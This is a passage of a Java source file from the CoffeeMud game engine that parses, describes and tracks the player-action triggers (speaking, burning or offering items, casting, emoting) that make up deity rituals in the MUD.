import com.planet_ink.coffee_mud.Libraries.interfaces.*;
import com.planet_ink.coffee_mud.Locales.interfaces.*;
import com.planet_ink.coffee_mud.MOBS.interfaces.*;
import com.planet_ink.coffee_mud.MOBS.interfaces.Deity.RitualType;
import com.planet_ink.coffee_mud.Races.interfaces.*;
import java.util.*;
import java.lang.ref.*;
/*
Copyright 2022-2022 Bo Zimmerman
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
public class DefaultTriggerer implements Triggerer
{
protected final static Map<String,Trigger[]> ritualCache = new Hashtable<String,Trigger[]>();
protected Map<String, TrigTracker> trackers = new Hashtable<String, TrigTracker>();
protected Map<Object, Trigger[]> rituals = new SHashtable<Object, Trigger[]>();
protected List<TrigState> waitingFor = Collections.synchronizedList(new LinkedList<TrigState>());
protected Set<String> ignoreOf = new LimitedTreeSet<String>();
protected String holyName = "Unknown";
protected int version = 0;
private final static Object[] trackingNothing = new Object[0];
private final static MOB[] trackingNoone = new MOB[0];
public DefaultTriggerer()
{
version = TrigSignal.sig;
}
@Override
public String ID()
{
return "DefaultTriggerer";
}
@Override
public CMObject newInstance()
{
return new DefaultTriggerer();
}
@Override
public String name()
{
return holyName;
}
@Override
public Triggerer setName(final String name)
{
this.holyName = name;
return this;
}
@Override
public boolean isObsolete()
{
return (version != TrigSignal.sig);
}
@Override
public void setObsolete()
{
version = -1;
}
@Override
public boolean isDisabled()
{
return rituals.size()==0;
}
/**
* Separator enum constants for ritual definitions.
* @author Bo Zimmerman
*
*/
private enum TriggConnector
{
AND,
OR
}
protected static class Trigger
{
public TriggerCode triggerCode = TriggerCode.SAY;
public String parm1 = null;
public String parm2 = null;
public int cmmsgCode = -1;
public Trigger orConnect = null;
public boolean addArgs = false;
}
protected final class TrigTracker
{
private final Map<Object, TrigState>states = new LimitedTreeMap<Object, TrigState>(120000,100,false);
private final Set<Object> compl = new LimitedTreeSet<Object>(CMProps.getTickMillis()*2,10,false);
private final Reference<MOB> charM;
public TrigTracker(final MOB mob)
{
this.charM = new WeakReference<MOB>(mob);
}
public TrigState getCreateState(final Object key)
{
final MOB mob=charM.get();
if(mob==null)
{
states.clear();
return null;
}
if(states.containsKey(key))
return states.get(key);
final TrigState state = new TrigState(mob, key, holyName);
states.put(key, state);
return state;
}
}
protected class TrigState
{
private volatile int completed = -1;
private final String holyName;
private final Reference<MOB> charM;
private volatile long time = System.currentTimeMillis();
public volatile long waitExpire = -1;
public final Object key;
public List<String> args = null;
public TrigState(final MOB charM, final Object key, final String holyName)
{
this.charM = new WeakReference<MOB>(charM);
this.key=key;
this.holyName = holyName;
}
public List<String> args()
{
if(args==null)
args=new Vector<String>(1);
return args;
}
public synchronized void setCompleted()
{
completed++;
time=System.currentTimeMillis();
}
public void setIgnore(final boolean truefalse)
{
synchronized(ignoreOf)
{
final MOB charM=this.charM.get();
if(charM != null)
{
if(truefalse)
ignoreOf.add(charM.Name());
else
ignoreOf.remove(charM.Name());
}
}
}
public void setWait(final long expiration)
{
synchronized(waitingFor)
{
if(charM.get() != null)
{
waitExpire=expiration;
if(expiration<0)
waitingFor.remove(this);
else
waitingFor.add(this);
}
}
}
}
protected boolean isIgnoring(final MOB mob)
{
synchronized(ignoreOf)
{
return ignoreOf.contains(mob.Name());
}
}
@Override
public void addTrigger(final Object key, String trigger, final List<String> errors)
{
trigger=trigger.toUpperCase().trim();
if(DefaultTriggerer.ritualCache.containsKey(trigger))
{
rituals.put(key, DefaultTriggerer.ritualCache.get(trigger));
return;
}
TriggConnector previousConnector=TriggConnector.AND;
if(trigger.equals("-"))
{
DefaultTriggerer.ritualCache.put(trigger, new Trigger[0]);
rituals.put(key, new Trigger[0]);
return;
}
final List<Trigger> putHere = new ArrayList<Trigger>();
Trigger prevDT=null;
while(trigger.length()>0)
{
final int div1=trigger.indexOf('&');
final int div2=trigger.indexOf('|');
int div=div1;
if((div2>=0)&&((div<0)||(div2<div)))
div=div2;
String trig=null;
if(div<0)
{
trig=trigger;
trigger="";
}
else
{
trig=trigger.substring(0,div).trim();
trigger=trigger.substring(div+1);
}
if(trig.length()>0)
{
final Vector<String> V=CMParms.parse(trig);
if(V.size()>1)
{
Trigger DT=new Trigger();
final String cmd=V.firstElement();
TriggerCode T;
if(cmd.endsWith("+"))
{
DT.addArgs=true;
T=(TriggerCode)CMath.s_valueOf(TriggerCode.class, cmd.substring(0,cmd.length()-1));
}
else
T = (TriggerCode)CMath.s_valueOf(TriggerCode.class, cmd);
if(T==null)
{
for(final TriggerCode RT : TriggerCode.values())
{
if(RT.name().startsWith(cmd))
{
T=RT;
break;
}
}
}
if((previousConnector==TriggConnector.OR)&&(prevDT!=null))
prevDT.orConnect=DT;
if(T==null)
{
if(errors!=null)
errors.add("Illegal trigger: '"+cmd+"','"+trig+"'");
DT=null;
break;
}
else
{
DT.cmmsgCode=this.getCMMsgCode(T);
switch(T)
{
case SAY:
{
DT.triggerCode=T;
DT.parm1=CMParms.combine(V,1);
break;
}
case TIME:
{
DT.triggerCode=T;
DT.parm1=""+CMath.s_int(CMParms.combine(V,1));
break;
}
case WAIT:
{
DT.triggerCode=T;
DT.parm1=""+CMath.s_int(CMParms.combine(V,1));
break;
}
case YOUSAY:
{
DT.triggerCode=T;
DT.parm1=CMParms.combine(V,1);
break;
}
case OTHERSAY:
{
DT.triggerCode=T;
DT.parm1=CMParms.combine(V,1);
break;
}
case ALLSAY:
{
DT.triggerCode=T;
DT.parm1=CMParms.combine(V,1);
break;
}
case PUTTHING:
{
DT.triggerCode=T;
if(V.size()<3)
{
Log.errOut(name(),"Illegal trigger: "+trig);
DT=null;
break;
}
DT.parm1=CMParms.combine(V,1,V.size()-2);
DT.parm2=V.lastElement();
break;
}
case SOCIAL:
{
DT.triggerCode=T;
if(V.size()<2)
{
Log.errOut(name(),"Illegal trigger: "+trig);
DT=null;
break;
}
DT.parm1=V.get(1);
if(V.size()>2)
DT.parm2=V.get(2);
else
DT.parm2="";
Social soc = CMLib.socials().fetchSocial((DT.parm1+" "+DT.parm2).toUpperCase().trim(),true);
if(soc == null)
{
if(DT.parm2.length()>0)
soc = CMLib.socials().fetchSocial((DT.parm1+" <T-NAME> "+DT.parm2).toUpperCase().trim(),true);
if(soc == null)
{
Log.errOut(name(),"Illegal social in: "+trig);
DT=null;
break;
}
}
break;
}
case BURNTHING:
{
DT.triggerCode=T;
DT.parm1=CMParms.combine(V,1);
break;
}
case PUTVALUE:
{
DT.triggerCode=T;
if(V.size()<3)
{
if(errors!=null)
errors.add("Illegal trigger: "+trig);
DT=null;
break;
}
DT.parm1=""+CMath.s_int(V.elementAt(1));
DT.parm2=CMParms.combine(V,2);
break;
}
case BURNVALUE:
{
DT.triggerCode=T;
if(V.size()<3)
{
if(errors!=null)
errors.add("Illegal trigger: "+trig);
DT=null;
break;
}
DT.parm1=""+CMath.s_int(CMParms.combine(V,1));
break;
}
case BURNMATERIAL:
{
DT.triggerCode=T;
DT.parm1=CMParms.combine(V,1);
final int cd = RawMaterial.CODES.FIND_StartsWith(DT.parm1);
boolean found=cd>=0;
if(found)
DT.parm1=""+cd;
else
{
final RawMaterial.Material m=RawMaterial.Material.startsWith(DT.parm1);
if(m!=null)
{
DT.parm1=""+m.mask();
found=true;
}
}
if(!found)
{
if(errors!=null)
errors.add("Unknown material: "+trig);
DT=null;
break;
}
break;
}
case PUTMATERIAL:
{
DT.triggerCode=T;
if(V.size()<3)
{
if(errors!=null)
errors.add("Illegal trigger: "+trig);
DT=null;
break;
}
DT.parm1=V.elementAt(1);
DT.parm2=CMParms.combine(V,2);
final int cd = RawMaterial.CODES.FIND_StartsWith(DT.parm1);
boolean found=cd>=0;
if(found)
DT.parm1=""+cd;
else
if(!found)
{
final RawMaterial.Material m=RawMaterial.Material.startsWith(DT.parm1);
if(m!=null)
{
DT.parm1=""+m.mask();
found=true;
}
}
if(!found)
{
if(errors!=null)
errors.add("Unknown material: "+trig);
DT=null;
break;
}
break;
}
case EAT:
{
DT.triggerCode=T;
DT.parm1=CMParms.combine(V,1);
break;
}
case READING:
{
DT.triggerCode=T;
DT.parm1=CMParms.combine(V,1);
break;
}
case RANDOM:
{
DT.triggerCode=T;
DT.parm1=CMParms.combine(V,1);
break;
}
case CHECK:
{
DT.triggerCode=T;
DT.parm1=CMParms.combine(V,1);
break;
}
case DRINK:
{
DT.triggerCode=T;
DT.parm1=CMParms.combine(V,1);
break;
}
case INROOM:
{
DT.triggerCode=T;
DT.parm1=CMParms.combine(V,1);
break;
}
case RIDING:
{
DT.triggerCode=T;
DT.parm1=CMParms.combine(V,1);
break;
}
case CAST:
{
DT.triggerCode=T;
DT.parm1=CMParms.combine(V,1);
if(CMClass.findAbility(DT.parm1)==null)
{
if(errors!=null)
errors.add("Illegal SPELL in: "+trig);
DT=null;
break;
}
break;
}
case EMOTE:
{
DT.triggerCode=T;
DT.parm1=CMParms.combine(V,1);
break;
}
case SITTING:
{
DT.triggerCode=T;
break;
}
case STANDING:
{
DT.triggerCode=T;
break;
}
case SLEEPING:
{
DT.triggerCode=T;
break;
}
default:
{
if(errors!=null)
errors.add("Illegal trigger: '"+cmd+"','"+trig+"'");
DT=null;
break;
}
}
}
if(DT==null)
return;
if(div==div1)
{
previousConnector=TriggConnector.AND;
putHere.add(DT);
}
else
previousConnector=TriggConnector.OR;
prevDT=DT;
}
else
{
if(errors!=null)
errors.add("Illegal trigger (need more parameters): "+trig);
return;
}
}
}
// check for valid starter
if(putHere.size()>0)
{
int firstActiveCode=-1;
for(int i=0;i<putHere.size();i++)
{
Trigger r = putHere.get(i);
boolean active=false;
while(r != null)
{
active = active || (r.cmmsgCode>0);
r=r.orConnect;
}
if(active)
{
firstActiveCode = i;
break;
}
}
if(firstActiveCode > 0)
{
final Trigger gone = putHere.remove(firstActiveCode);
putHere.add(0, gone);
}
}
final Trigger[] finalTriggs = putHere.toArray(new Trigger[putHere.size()]);
DefaultTriggerer.ritualCache.put(trigger, finalTriggs);
rituals.put(key, finalTriggs);
}
protected TrigTracker getTrigTracker(final MOB mob)
{
synchronized(trackers)
{
if(trackers.containsKey(mob.Name()))
{
final TrigTracker tracker = trackers.get(mob.Name());
if((tracker.charM.get()!=null)
&&((tracker.states.size()>0)||(tracker.compl.size()>0)))
return tracker;
trackers.remove(mob.Name());
}
}
return null;
}
protected TrigTracker getCreateTrigTracker(final MOB mob)
{
TrigTracker tracker = getTrigTracker(mob);
if(tracker != null)
return tracker;
tracker = new TrigTracker(mob);
synchronized(trackers)
{
trackers.put(mob.Name(), tracker);
}
return tracker;
}
protected TrigState getCreateTrigState(final MOB mob, final Object key)
{
final TrigTracker tracker = getCreateTrigTracker(mob);
final TrigState state = tracker.getCreateState(key);
return state;
}
protected void clearState(final MOB mob, final Object type)
{
final TrigTracker tracker = getTrigTracker(mob);
if(tracker != null)
tracker.states.remove(type);
}
protected String L(final String str, final String ... xs)
{
return CMLib.lang().fullSessionTranslation(str, xs);
}
@Override
public String getTriggerDesc(final Object key)
{
final Trigger[] triggers = rituals.get(key);
if((triggers==null)||(triggers.length==0))
return L("Never");
final StringBuffer buf=new StringBuffer("");
for(int v=0;v<triggers.length;v++)
{
Trigger DT=triggers[v];
while(DT != null)
{
if(v>0)
buf.append(", "+((DT==triggers[v])?L("and "):L("or ")));
switch(DT.triggerCode)
{
case SAY:
buf.append(L("the player should say '@x1'",DT.parm1.toLowerCase()));
break;
case READING:
if(DT.parm1.equals("0"))
buf.append(L("the player should read something"));
else
buf.append(L("the player should read '@x1'",DT.parm1.toLowerCase()));
break;
case SOCIAL:
buf.append(L("the player should @x1",(DT.parm1.toLowerCase()+" "+DT.parm2).trim()));
break;
case TIME:
buf.append(L("the hour of the day is @x1",DT.parm1.toLowerCase()));
break;
case PUTTHING:
buf.append(L("the player should put @x1 in @x2",DT.parm1.toLowerCase(),DT.parm2.toLowerCase()));
break;
case BURNTHING:
buf.append(L("the player should burn @x1",DT.parm1.toLowerCase()));
break;
case DRINK:
buf.append(L("the player should drink @x1",DT.parm1.toLowerCase()));
break;
case EAT:
buf.append(L("the player should eat @x1",DT.parm1.toLowerCase()));
break;
case INROOM:
{
if(DT.parm1.equalsIgnoreCase("holy")
||DT.parm1.equalsIgnoreCase("unholy")
||DT.parm1.equalsIgnoreCase("balance"))
buf.append(L("the player should be in the deities room of infused @x1-ness.",DT.parm1.toLowerCase()));
else
{
final Room R=CMLib.map().getRoom(DT.parm1);
if(R==null)
buf.append(L("the player should be in some unknown place"));
else
buf.append(L("the player should be in '@x1'",R.displayText(null)));
}
}
break;
case RIDING:
buf.append(L("the player should be on @x1",DT.parm1.toLowerCase()));
break;
case CAST:
{
final Ability A=CMClass.findAbility(DT.parm1);
if(A==null)
buf.append(L("the player should cast '@x1'",DT.parm1));
else
buf.append(L("the player should cast '@x1'",A.name()));
}
break;
case EMOTE:
buf.append(L("the player should emote '@x1'",DT.parm1.toLowerCase()));
break;
case RANDOM:
buf.append(DT.parm1+"% of the time");
break;
case WAIT:
buf.append(L("wait @x1 seconds",""+((CMath.s_int(DT.parm1)*CMProps.getTickMillis())/1000)));
break;
case YOUSAY:
buf.append(L("then you will automatically say '@x1'",DT.parm1.toLowerCase()));
break;
case OTHERSAY:
buf.append(L("then all others will say '@x1'",DT.parm1.toLowerCase()));
break;
case ALLSAY:
buf.append(L("then all will say '@x1'",DT.parm1.toLowerCase()));
break;
case CHECK:
buf.append(CMLib.masking().maskDesc(DT.parm1));
break;
case PUTVALUE:
buf.append(L("the player should put an item worth at least @x1 in @x2",DT.parm1.toLowerCase(),DT.parm2.toLowerCase()));
break;
case PUTMATERIAL:
{
String material="something";
final int t=CMath.s_int(DT.parm1);
RawMaterial.Material m;
if(((t&RawMaterial.RESOURCE_MASK)==0)
&&((m=RawMaterial.Material.findByMask(t))!=null))
material=m.desc().toLowerCase();
else
if(RawMaterial.CODES.IS_VALID(t))
material=RawMaterial.CODES.NAME(t).toLowerCase();
buf.append(L("the player puts an item made of @x1 in @x2",material,DT.parm2.toLowerCase()));
}
break;
case BURNMATERIAL:
{
String material="something";
final int t=CMath.s_int(DT.parm1);
RawMaterial.Material m;
if(((t&RawMaterial.RESOURCE_MASK)==0)
&&((m=RawMaterial.Material.findByMask(t))!=null))
material=m.desc().toLowerCase();
else
if(RawMaterial.CODES.IS_VALID(t))
material=RawMaterial.CODES.NAME(t).toLowerCase();
buf.append(L("the player should burn an item made of @x1",material));
}
break;
case BURNVALUE:
buf.append(L("the player should burn an item worth at least @x1",DT.parm1.toLowerCase()));
break;
case SITTING:
buf.append(L("the player should sit down"));
break;
case STANDING:
buf.append(L("the player should stand up"));
break;
case SLEEPING:
buf.append(L("the player should go to sleep"));
break;
}
DT=DT.orConnect;
}
}
return buf.toString();
}
@Override
public void setIgnoreTracking(final MOB mob, final boolean truefalse)
{
synchronized(ignoreOf)
{
if(truefalse)
ignoreOf.add(mob.Name());
else
ignoreOf.remove(mob.Name());
}
}
@Override
public void deleteTracking(final MOB mob, final Object key)
{
this.clearState(mob, key);
}
@Override
public CMMsg genNextAbleTrigger(final MOB mob, final Object key)
{
if(mob == null)
return null;
final Trigger[] triggers = rituals.get(key);
if((triggers==null)||(triggers.length==0))
return null;
final TrigTracker tracker = this.getCreateTrigTracker(mob);
if(tracker == null)
return null;
final TrigState trigState = tracker.getCreateState(key);
if(trigState==null)
return null;
final int completed =trigState.completed;
if(completed>=triggers.length)
return null;
final Trigger DT=triggers[completed+1];
// in an OR-condition, we always just do the first one....
switch(DT.triggerCode)
{
case SAY:
return CMClass.getMsg(mob, CMMsg.MASK_ALWAYS|CMMsg.MSG_SPEAK, L("^T<S-NAME> say(s) '@x1'.^N",DT.parm1));
case TIME:
trigState.setCompleted();
return null;
case RANDOM:
trigState.setCompleted();
return null;
case YOUSAY:
return null;
case ALLSAY:
return null;
case OTHERSAY:
return null;
case WAIT:
{
final long waitDuration=CMath.s_long(DT.parm1)*CMProps.getTickMillis();
if(System.currentTimeMillis()>(trigState.time+waitDuration))
return CMClass.getMsg(mob, CMMsg.MSG_OK_ACTION, null); // force the wait to be evaluated
return null;
}
case CHECK:
trigState.setCompleted();
return null;
case PUTTHING:
{
final Item I=CMClass.getBasicItem("GenItem");
final Item cI=CMClass.getBasicItem("GenContainer");
if(DT.parm1.equals("0"))
I.setName(L("Something"));
else
I.setName(DT.parm1);
if(DT.parm1.equals("0"))
cI.setName(L("Something"));
else
cI.setName(DT.parm2);
return CMClass.getMsg(mob, cI, I, CMMsg.MASK_ALWAYS|CMMsg.MSG_PUT, L("<S-NAME> put(s) <O-NAME> into <T-NAME>."));
}
case BURNTHING:
{
final Item I=CMClass.getBasicItem("GenItem");
if(DT.parm1.equals("0"))
I.setName(L("Something"));
else
I.setName(DT.parm1);
return CMClass.getMsg(mob, I, null, CMMsg.MASK_ALWAYS|CMMsg.MASK_MOVE|DT.cmmsgCode, L("<S-NAME> burn(s) <T-NAME>."));
}
case READING:
{
final Item I=CMClass.getBasicItem("GenItem");
if(DT.parm1.equals("0"))
I.setName(L("Something"));
else
I.setName(DT.parm1);
return CMClass.getMsg(mob, I, null, CMMsg.MASK_ALWAYS|CMMsg.MSG_READ, L("<S-NAME> read(s) <T-NAME>."));
}
case SOCIAL:
{
Social soc = CMLib.socials().fetchSocial((DT.parm1+" "+DT.parm2).toUpperCase().trim(),true);
if((soc == null)&&(DT.parm2!=null)&&(DT.parm2.length()>0))
soc = CMLib.socials().fetchSocial((DT.parm1+" <T-NAME> "+DT.parm2).toUpperCase().trim(),true);
if(soc != null)
{
final MOB target=mob.getVictim();
if((target==null)&&(soc.targetName().equals("<T-NAME>")))
return CMClass.getMsg(mob,target,soc,CMMsg.MSG_OK_VISUAL,soc.getFailedTargetMessage(), CMMsg.NO_EFFECT, null, CMMsg.NO_EFFECT, null);
else
return CMClass.getMsg(mob,target,soc,CMMsg.MSG_OK_VISUAL,soc.getSourceMessage(),soc.getTargetMessage(),soc.getOthersMessage());
}
break;
}
case DRINK:
{
final Item I=CMClass.getBasicItem("GenItem");
if(DT.parm1.equals("0"))
I.setName(L("Something"));
else
I.setName(DT.parm1);
return CMClass.getMsg(mob, I, null, CMMsg.MASK_ALWAYS|CMMsg.MSG_DRINK, L("<S-NAME> drink(s) <T-NAME>."));
}
case EAT:
{
final Item I=CMClass.getBasicItem("GenItem");
if(DT.parm1.equals("0"))
I.setName(L("Something"));
else
I.setName(DT.parm1);
return CMClass.getMsg(mob, I, null, DT.cmmsgCode, L("<S-NAME> eat(s) <T-NAME>."));
}
case INROOM:
trigState.setCompleted();
return null;
case RIDING:
trigState.setCompleted();
return null;
case CAST:
{
final Ability A=CMClass.getAbility(DT.parm1);
if(A!=null)
return CMClass.getMsg(mob, null, A, DT.cmmsgCode, L("<S-NAME> do(es) '@x1'",A.name()));
return null;
}
case EMOTE:
return CMClass.getMsg(mob, null, null, DT.cmmsgCode, L("<S-NAME> do(es) '@x1'",DT.parm1));
case PUTVALUE:
{
final Item cI=CMClass.getBasicItem("GenContainer");
if(DT.parm2.equals("0"))
cI.setName(L("Something"));
else
cI.setName(DT.parm2);
final Item I=CMClass.getBasicItem("GenItem");
I.setName(L("valuables"));
I.setBaseValue(CMath.s_int(DT.parm1));
return CMClass.getMsg(mob, cI, I, CMMsg.MASK_ALWAYS|CMMsg.MSG_PUT, L("<S-NAME> put(s) <O-NAME> in <T-NAME>."));
}
case PUTMATERIAL:
case BURNMATERIAL:
{
final Item cI=CMClass.getBasicItem("GenContainer");
if(DT.parm2.equals("0"))
cI.setName(L("Something"));
else
cI.setName(DT.parm2);
final Item I=CMLib.materials().makeItemResource(CMath.s_int(DT.parm1));
return CMClass.getMsg(mob, cI, I, CMMsg.MASK_ALWAYS|CMMsg.MASK_HANDS|DT.cmmsgCode, L("<S-NAME> put(s) <O-NAME> in <T-NAME>."));
}
case BURNVALUE:
{
final Item I=CMClass.getBasicItem("GenItem");
I.setName(L("valuables"));
I.setBaseValue(CMath.s_int(DT.parm1));
return CMClass.getMsg(mob, I, null, CMMsg.MASK_ALWAYS|CMMsg.MASK_HANDS|DT.cmmsgCode, L("<S-NAME> burn(s) <T-NAME>."));
}
case SITTING:
if(!CMLib.flags().isSitting(mob))
return CMClass.getMsg(mob, CMMsg.MSG_SIT, L("<S-NAME> sit(s)."));
return null;
case STANDING:
if(!CMLib.flags().isStanding(mob))
return CMClass.getMsg(mob, CMMsg.MSG_STAND, L("<S-NAME> stand(s)."));
return null;
case SLEEPING:
if(!CMLib.flags().isSleeping(mob))
return CMClass.getMsg(mob, CMMsg.MSG_SLEEP, L("<S-NAME> sleep(s)."));
return null;
}
return null;
}
protected int getCMMsgCode(final TriggerCode trig)
{
switch(trig)
{
case SAY:
return CMMsg.TYP_SPEAK;
case PUTTHING:
return CMMsg.TYP_PUT;
case BURNMATERIAL:
return CMMsg.TYP_FIRE;
case BURNTHING:
return CMMsg.TYP_FIRE;
case EAT:
return CMMsg.TYP_EAT;
case DRINK:
return CMMsg.TYP_DRINK;
case CAST:
return CMMsg.TYP_CAST_SPELL;
case EMOTE:
return CMMsg.TYP_EMOTE;
case PUTVALUE:
return CMMsg.TYP_PUT;
case PUTMATERIAL:
return CMMsg.TYP_PUT;
case BURNVALUE:
return CMMsg.TYP_FIRE;
case READING:
return CMMsg.TYP_READ;
case SOCIAL:
return CMMsg.MSG_OK_ACTION;
case INROOM:
case TIME:
case RIDING:
case SITTING:
case STANDING:
case SLEEPING:
case RANDOM:
case CHECK:
case WAIT:
case YOUSAY:
case OTHERSAY:
case ALLSAY:
return -999;
}
return -999;
}
@Override
public boolean isTracking(final MOB mob, final Object key)
{
final TrigTracker tracker = getTrigTracker(mob);
if(tracker == null)
return false;
return tracker.states.containsKey(key);
}
@Override
public boolean isTracking(final Object key, final CMMsg msg)
{
final MOB mob=msg.source();
if(isIgnoring(mob))
return false;
final TrigTracker tracker = getTrigTracker(mob);
final TrigState state = (tracker != null)?tracker.states.get(key):null;
final int peekIndex = (state!=null)?(state.completed+1):0;
final Trigger[] triggers = rituals.get(key);
if(peekIndex >= triggers.length-1)
return true;
Trigger trig = triggers[peekIndex];
while(trig != null)
{
if((trig.cmmsgCode<0)
||(trig.cmmsgCode==msg.sourceMinor())
||((msg.tool() instanceof Social)&&(trig.triggerCode==TriggerCode.SOCIAL)))
return true;
trig = trig.orConnect;
}
return false;
}
@Override
public Object[] whichTracking(final CMMsg msg)
{
final MOB mob=msg.source();
if(isIgnoring(mob))
return trackingNothing;
switch(msg.sourceMinor())
{
case CMMsg.TYP_ENTER:
case CMMsg.TYP_LEAVE:
case CMMsg.TYP_LOOK:
return trackingNothing;
default:
break;
}
//TODO: THIS! This is what needs to be better.
List<Object> readyList=null;
for(final Object key : rituals.keySet())
{
if(isTracking(key, msg))
{
if(readyList == null)
readyList = new ArrayList<Object>(1);
readyList.add(key);
}
}
if(readyList != null)
return readyList.toArray();
return trackingNothing;
}
protected String targName(final Environmental target)
{
if((target instanceof Item)||(target instanceof MOB))
{
final Room R=CMLib.map().roomLocation(target);
if(R==null)
return "$"+target.Name()+"$";
return R.getContextName(target);
}
else
if(target instanceof Room)
return ((Room)target).displayText(null);
else
return target.Name();
}
public boolean containsString(final String toSrchStr, final String srchForStr)
{
if((srchForStr==null)||(srchForStr.length()==0)||(srchForStr.equals("0"))||(srchForStr.equals("*")))
return true;
return CMLib.english().containsString(toSrchStr, srchForStr);
}
protected TrigState stepGetCompleted(final Object key, final CMMsg msg)
{
if(isIgnoring(msg.source()))
return null;
final Trigger[] triggers=rituals.get(key);
final TrigState state = getCreateTrigState(msg.source(), key);
if((triggers == null)||(state==null))
return null;
if(state.completed>=triggers.length-1)
return state;
Trigger DT=triggers[state.completed+1];
boolean yup = false;
while((DT != null)&&(!yup))
{
if((msg.sourceMinor()==DT.cmmsgCode)
||(DT.cmmsgCode==-999)
||((DT.triggerCode==TriggerCode.SOCIAL)&&(msg.tool() instanceof Social)))
{
switch(DT.triggerCode)
{
case SAY:
if((msg.sourceMessage()!=null)&&(msg.sourceMessage().toUpperCase().indexOf(DT.parm1)>0))
{
if(DT.addArgs)
{
String str = CMStrings.getSayFromMessage(msg.sourceMessage());
final int x=str.toUpperCase().indexOf(DT.parm1);
if(x>=0)
str=str.substring(x+DT.parm1.length()).trim();
state.args().addAll(CMParms.parse(str));
}
yup=true;
}
break;
case TIME:
if((msg.source().location()!=null)
&&(msg.source().location().getArea().getTimeObj().getHourOfDay()==CMath.s_int(DT.parm1)))
yup=true;
break;
case RANDOM:
if(CMLib.dice().rollPercentage()<=CMath.s_int(DT.parm1))
yup=true;
break;
case YOUSAY:
yup=true;
try
{
if(DT.addArgs)
state.args().addAll(CMParms.parse(DT.parm1));
state.setIgnore(true);
CMLib.commands().postSay(msg.source(),null,CMStrings.capitalizeAndLower(DT.parm1));
}
finally
{
state.setIgnore(false);
}
break;
case ALLSAY:
{
final Room R=msg.source().location();
if(R!=null)
{
if(DT.addArgs)
state.args().addAll(CMParms.parse(DT.parm1));
yup=true;
for(int m=0;m<R.numInhabitants();m++)
{
final MOB M=R.fetchInhabitant(m);
if(M!=null)
{
yup=true;
try
{
state.setIgnore(true);
CMLib.commands().postSay(M,null,CMStrings.capitalizeAndLower(DT.parm1));
}
finally
{
state.setIgnore(false);
}
}
}
}
break;
}
case OTHERSAY:
{
final Room R=msg.source().location();
if(R!=null)
{
if(DT.addArgs)
state.args().addAll(CMParms.parse(DT.parm1));
yup=true;
for(int m=0;m<R.numInhabitants();m++)
{
final MOB M=R.fetchInhabitant(m);
if((M!=null)&&(M!=msg.source()))
{
yup=true;
try
{
state.setIgnore(true);
CMLib.commands().postSay(M,null,CMStrings.capitalizeAndLower(DT.parm1));
}
finally
{
state.setIgnore(false);
}
}
}
}
break;
}
case WAIT:
{
final long waitExpires=state.time+CMath.s_long(DT.parm1)*CMProps.getTickMillis();
if(System.currentTimeMillis()>waitExpires)
{
yup=true;
state.setWait(-1);
}
else
{
if(CMSecurity.isDebugging(CMSecurity.DbgFlag.RITUALS))
Log.debugOut(msg.source().Name()+" still waiting ("+(state.completed+1)+"/"+triggers.length+") ");
state.setWait(waitExpires);
return null; // since we set the wait, there's no reason to look further
}
break;
}
case CHECK:
if(CMLib.masking().maskCheck(DT.parm1,msg.source(),true))
{
if(DT.addArgs && (msg.target()!=null))
state.args().add(targName(msg.target()));
yup=true;
}
break;
case PUTTHING:
if((msg.target() instanceof Container)
&&(msg.tool() instanceof Item)
&&(containsString(msg.tool().name(),DT.parm1))
&&(containsString(msg.target().name(),DT.parm2)))
{
if(DT.addArgs && (msg.target()!=null))
state.args().add(targName(msg.target()));
yup=true;
}
break;
case BURNTHING:
case READING:
case DRINK:
case EAT:
if((msg.target()!=null)
&&(DT.parm1.equals("0")||containsString(msg.target().name(),DT.parm1)))
{
if(DT.addArgs && (msg.target()!=null))
state.args().add(targName(msg.target()));
yup=true;
}
break;
case SOCIAL:
if((msg.tool() instanceof Social)
&&(msg.tool().Name().equalsIgnoreCase((DT.parm1+" "+DT.parm2).trim())
||((DT.parm2!=null)&&(DT.parm2.length()>0)&&(msg.tool().Name().equalsIgnoreCase((DT.parm1+" <T-NAME> "+DT.parm2).trim())))))
{
if(DT.addArgs && (msg.target()!=null))
state.args().add(targName(msg.target()));
yup=true;
}
break;
case INROOM:
if(msg.source().location()!=null)
{
if(DT.parm1.equalsIgnoreCase("holy")
||DT.parm1.equalsIgnoreCase("unholy")
||DT.parm1.equalsIgnoreCase("balance"))
{
yup=(state.holyName!=null)
&&(state.holyName.equalsIgnoreCase(CMLib.law().getClericInfused(msg.source().location())));
if(yup)
{
if(DT.addArgs)
state.args().add("here");
}
}
else
if(msg.source().location().roomID().equalsIgnoreCase(DT.parm1))
{
yup=true;
if(DT.addArgs)
state.args().add("here");
}
}
break;
case RIDING:
if((msg.source().riding()!=null)
&&(containsString(msg.source().riding().name(),DT.parm1)))
{
yup=true;
if(DT.addArgs)
state.args().add(targName(msg.source().riding()));
}
break;
case CAST:
if((msg.tool()!=null)
&&((msg.tool().ID().equalsIgnoreCase(DT.parm1))
||(containsString(msg.tool().name(),DT.parm1))))
{
yup=true;
if(DT.addArgs && (msg.target()!=null))
state.args().add(targName(msg.target()));
}
break;
case EMOTE:
if((msg.sourceMessage()!=null)&&(msg.sourceMessage().toUpperCase().indexOf(DT.parm1)>0))
{
yup=true;
if(DT.addArgs)
{
final int x=msg.sourceMessage().indexOf(">");
if(DT.addArgs)
{
state.args().add(CMStrings.removeColors(
(x>0)?msg.sourceMessage().substring(x+1):msg.sourceMessage()));
}
}
}
break;
case PUTVALUE:
if((msg.tool() instanceof Item)
&&(((Item)msg.tool()).baseGoldValue()>=CMath.s_int(DT.parm1))
&&(msg.target() instanceof Container)
&&(containsString(msg.target().name(),DT.parm2)))
{
yup=true;
if(DT.addArgs && (msg.target()!=null))
state.args().add(targName(msg.target()));
}
break;
case PUTMATERIAL:
if((msg.tool() instanceof Item)
&&(((((Item)msg.tool()).material()&RawMaterial.RESOURCE_MASK)==CMath.s_int(DT.parm1))
||((((Item)msg.tool()).material()&RawMaterial.MATERIAL_MASK)==CMath.s_int(DT.parm1)))
&&(msg.target() instanceof Container)
&&(containsString(msg.target().name(),DT.parm2)))
{
yup=true;
if(DT.addArgs && (msg.target()!=null))
state.args().add(targName(msg.target()));
}
break;
case BURNMATERIAL:
if((msg.target() instanceof Item)
